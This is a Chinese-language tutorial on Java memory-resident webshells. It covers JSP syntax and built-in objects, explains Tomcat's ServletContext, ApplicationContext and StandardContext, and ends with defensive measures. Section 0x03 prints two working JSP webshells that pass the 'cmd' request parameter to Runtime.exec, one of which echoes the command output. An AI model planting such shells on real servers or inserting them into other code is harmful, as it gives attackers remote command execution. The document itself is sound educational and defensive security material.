Java 内存马与 JSP 不得不说的那些事儿
字数 2022 2025-08-12 11:34:18
Java内存马与JSP技术深度解析
0x01 内存马概述
Java内存马是一种无文件落地的攻击技术,因其隐蔽性强而日益流行。与传统文件型Webshell相比,内存马具有以下特点:
- 无文件落地,仅存在于内存中
- 难以通过常规文件扫描检测
- 可通过动态添加恶意组件实现持久化
内存马发展历程
- 2017年:n1nty在《Tomcat源码调试笔记-看不见的shell》中首次提出概念
- 后续发展:rebeyong使用agent技术扩展使用场景
- 近年:随着防护措施增强,文件型shell逐渐失效,内存马成为主流
- 当前:已发展出三大类型:
- servlet-api类:filter型、servlet型
- spring类:拦截器、controller型
- Java Instrumentation类:agent型
0x02 JSP基础
JSP简介
JSP(Java Server Pages)是Java的动态网页技术,本质上是Java Servlet,用于实现Web应用的用户界面部分。
JSP环境搭建
- 使用Maven创建Web项目
- 配置必要的目录结构(lib、classes等)
- 部署到Tomcat服务器
JSP语法
脚本程序
<% 代码片段 %>
示例:
<html>
<body>
<h2>Hello World!!!</h2>
<% out.println("GoodBye!"); %>
</body>
</html>
JSP声明
<%! 声明 %>
等价XML:
<jsp:declaration>代码片段</jsp:declaration>
示例:
<%! String s = "GoodBye!"; %>
<% out.println(s); %>
JSP表达式
<%= 表达式 %>
等价XML:
<jsp:expression>表达式</jsp:expression>
示例:
<% String name = "Drunkbaby"; %>
username:<%=name%>
JSP指令
用于设置整个JSP页面属性,有三种:
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
JSP注释
<%-- 注释内容 --%>
JSP九大内置对象
| 对象 | 类型 | 说明 |
|---|---|---|
| request | javax.servlet.http.HttpServletRequest | 获取用户请求信息 |
| response | javax.servlet.http.HttpServletResponse | 响应客户端请求 |
| out | javax.servlet.jsp.JspWriter | 输出内容到HTML |
| session | javax.servlet.http.HttpSession | 保存用户信息 |
| application | javax.servlet.ServletContext | 所有用户共享信息 |
| config | javax.servlet.ServletConfig | Servlet配置对象 |
| pageContext | javax.servlet.jsp.PageContext | JSP页面容器 |
| page | javax.servlet.jsp.HttpJspPage | 当前JSP页面 |
| exception | java.lang.Throwable | 处理错误和异常 |
0x03 传统内存马技术
基础JSP Webshell
无回显木马:
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
带回显木马:
<%
if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.print(new String(b));
}
out.print("</pre>");
}
%>
内存马实现方式
-
利用Java Web组件:
- 动态添加恶意组件(Servlet、Filter、Listener等)
- 在Spring框架下添加Controller、Intercepter
-
修改字节码:
- 利用Java Instrument机制
- 动态注入Agent
- 在HTTP请求执行路径中的类中添加恶意代码
0x04 Tomcat中的Context理解
Context概念
Context表示请求发生的背景环境,记录当前WEB容器的状态:
- 当前Filter
- 当前Servlet
- Listener
- 请求参数
- 请求路径
- 全局参数等
三种关键Context
-
ServletContext:
- Servlet规范中规定的接口
- 定义了WEB容器Context应有的功能
- 包括获取路径、参数、filter、servlet等操作
-
ApplicationContext:
- Tomcat中ServletContext的实现
- 实际套了一层ApplicationContextFacade(门面模式)
- 实现了ServletContext规范定义的方法(addServlet、addFilter等)
-
StandardContext:
- org.apache.catalina.core.StandardContext
- Tomcat中子容器Context的标准实现类
- 包含对Context子容器中资源的各种操作
- ApplicationContext中的操作最终调用StandardContext方法
Context关系图
ServletContext(接口)
↑
ApplicationContext(实现)
↑
ApplicationContextFacade(包装)
↑
StandardContext(底层实现)
0x05 内存马防御建议
-
代码审计:
- 检查动态添加Servlet/Filter的代码
- 监控Instrumentation API的使用
-
运行时监控:
- 监控Web容器中动态注册的组件
- 定期检查内存中的可疑类
-
安全配置:
- 限制JSP上传和执行权限
- 启用安全管理器
-
入侵检测:
- 部署RASP解决方案
- 监控异常HTTP请求模式